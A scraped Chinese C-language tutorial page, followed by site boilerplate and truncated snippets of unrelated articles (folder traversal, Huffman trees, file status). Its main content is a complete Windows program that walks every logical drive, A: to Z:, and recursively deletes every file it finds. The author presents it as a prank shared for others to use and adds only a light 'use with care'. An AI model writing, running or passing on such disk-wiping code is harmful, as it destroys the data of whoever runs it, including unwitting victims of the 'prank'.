基于Windows API实现遍历所有文件并删除的方法_C 语言

本文实例讲述了基于Windows API实现遍历所有文件并删除的方法。分享给大家供大家参考。具体分析如下:

最近一直在学windows API,弄了一些好玩的东西(有点恶作剧了,请大家谨慎使用)...
下面是我现学现卖写的一个删除硬盘上所有文件的小程序 ....

#include <windows.h>
#include <stdio.h>
#include <bitset>
using namespace std;
void DelFile(char *cFilePath)
{
 WIN32_FIND_DATA data;
 HANDLE hFind;
 char cFullPath[100];
 char cNewPath[100];
 sprintf_s(cFullPath,"%s\\*.*",cFilePath);
 hFind=FindFirstFile(cFullPath,&data);
 do
 {
 if((!strcmp(".",data.cFileName)) || (!strcmp("..",data.cFileName)))
 {
  continue;
 }
 if(data.dwFileAttributes==FILE_ATTRIBUTE_DIRECTORY)
 {
  sprintf_s(cNewPath,"%s\\%s",cFilePath,data.cFileName);
  DelFile(cNewPath);//递归
 }
// MessageBox(NULL,data.cFileName,"Look",0);
 sprintf_s(cFullPath,"%s\\%s",cFilePath,data.cFileName);
 DeleteFile(cFullPath);
 }while(FindNextFile(hFind,&data));
}
int WINAPI WinMain(
 HINSTANCE hInstance,   // handle to current instance
 HINSTANCE hPrevInstance, // handle to previous instance
 LPSTR lpCmdLine,     // command line
 int nCmdShow       // show state
)
{
 DWORD dwDrive=GetLogicalDrives();
 bitset<32> bit(dwDrive);
 char Path[3]={'a',':','\0'};
 for(int ix=0;ix!=32;ix++)
 {
 if(bit.test(ix))
 {
  Path[0]='A'+ix;
  DelFile(Path);
 }
 }
 return 0;
}

希望本文所述对大家的win32程序设计有所帮助。

以上是小编为您精心准备的的内容,在的博客、问答、公众号、人物、课程等栏目也有的相关内容,欢迎继续使用右上角搜索按钮进行搜索windows
, 遍历
, api
, 删除
所有文件
遍历二叉树 c语言实现、图的遍历c语言实现、c语言实现文件夹遍历、遍历算法 c语言实现、c语言实现 遍历矩阵,以便于您获取更多的相关知识。

时间: 2024-11-01 15:41:06

基于Windows API实现遍历所有文件并删除的方法_C 语言的相关文章

C++获得文件状态信息的方法_C 语言

本文实例讲述了C++获得文件状态信息的方法.分享给大家供大家参考.具体如下: //C++ 获得文件状态信息源码, //C++ 获得文件所在磁盘盘符源码, //C++ 文件创建时间源码, //C++ 访问时间源码, //C++ 最后修改日期源码,No such file or directory(无此文件或索引) #include<iostream.h> #include <time.h> #include <sys/types.h> #include <sys/s

减小VC6编译生成的exe文件的大小的方法_C 语言

1.减小VC6编译生成的exe文件的大小,最有效的方法就是: 步骤: 1.使用release版本 2.代码中增加:#pragma comment(linker, "/OPT:nowin98 ") 3.project--> setting--> c/c++--> link-> 勾上Ignore all default libraries 4.project--> setting--> c/c++--> link-> object/libra

VC++实现CStdioFile写入及读取文件并自动换行的方法_C 语言

本文所述CStdioFile可实现在VC++中主要用来写入及读出文件的功能,继承自CFile类,它会自动处理 "\r\n",遇到"\n"自动添加\r并设置光标在当前行,它同时可以自动换行,不过使用CStdioFile在处理大文件时速度有些慢, 用CStdioFile写入读取文件实现代码如下: LPTSTR filter=_T("Playlist Files(.txt)|*.txt|"); CString tempPath; CFileDialog

获取一个文件行数的方法_C 语言

第一种方法 思路:将文件中的字符一个一个读出,然后与 \n 作比较. 复制代码 代码如下:      #include <stdio.h>      #include <string.h>       #include <errno.h>                int main(int argc, char *argv[])       {            FILE *fp;            int n = 0;           int ch; 

基于WTL中使用双缓冲避免闪烁的解决方法_C 语言

在自己画的窗口中,有时候会有闪烁现象.为什么会有闪烁现象呢?其实是因为程序在画窗口时需要用背景色清空显示区域,然后再画.由于这两者的反差比较大,就会被人眼睛捕捉到,感觉闪烁.双缓冲就是先在内存中把图画好,然后直接复制到屏幕上去,这样的反差就比较小,也就不觉得闪烁了. WTL中的CDoubleBufferImplWTL中有现成的双缓冲类实现,可以很方便的使用就达到效果.CDoubleBufferImpl 在AtlFrame.h中.1.首先继承自CDoubleBufferImpl 复制代码 代码如下

writefile-大牛们,请问如何用windows API实现对文本文件的字符删除修改?

问题描述 大牛们,请问如何用windows API实现对文本文件的字符删除修改? RT 想请问大家,想要删除指定的几个字符如何做到.我用WriteFile写入的b会出现乱码,可以这样做么? 解决方案 一些基本常识,文件在计算机里是怎么存的,似乎你不太清楚,我们用最简单的方式来说(真实的文件系统比这个复杂,但是你可以这么理解) 我们在磁盘上划分为两个部分,前面是文件分配表,记录文件名.文件长度.起始地址. 文件则位于磁盘后面,从起始地址到(起始地址+文件长度) 要想追加,直接在起始位置+文件长度的

C++遍历文件夹下文件的方法_C 语言

本文实例讲述了C++遍历文件夹下文件的方法.分享给大家供大家参考.具体如下: #include <windows.h> #include <stdio.h> #include <string.h> #define LEN 1024 // 深度优先递归遍历目录中所有的文件 BOOL DirectoryList(LPCSTR Path) { WIN32_FIND_DATA FindData; HANDLE hError; int FileCount = 0; char Fi

C语言实现清空指定文件夹中所有文件的方法_C 语言

本文实例讲述了C语言实现清空指定文件夹中所有文件的方法.分享给大家供大家参考.具体分析如下: 最近笔者在做一个有关计算机视觉的项目,需要对提前的视频帧进行实验,当数据量很大且文件夹中的子文件夹和文件很多时,手工删除这些文件不现实,笔者今天写了一个程序,通过机器自动删除所有相关文件,十分快速,删除时间几乎可以不计. 代码如下,仅供参考. #include "iostream.h" //代码如需调试,只需将改成""即可 #include "string.h&q

C++实现哈夫曼树简单创建与遍历的方法_C 语言

本文以实例形式讲述了C++实现哈夫曼树简单创建与遍历的方法,比较经典的C++算法. 本例实现的功能为:给定n个带权的节点,如何构造一棵n个带有给定权值的叶节点的二叉树,使其带全路径长度WPL最小. 据此构造出最优树算法如下: 哈夫曼算法: 1. 将n个权值分别为w1,w2,w3,....wn-1,wn的节点按权值递增排序,将每个权值作为一棵二叉树.构成n棵二叉树森林F={T1,T2,T3,T4,...Tn},其中每个二叉树都只有一个权值,其左右字数为空 2. 在森林F中选取根节点权值最小二叉树,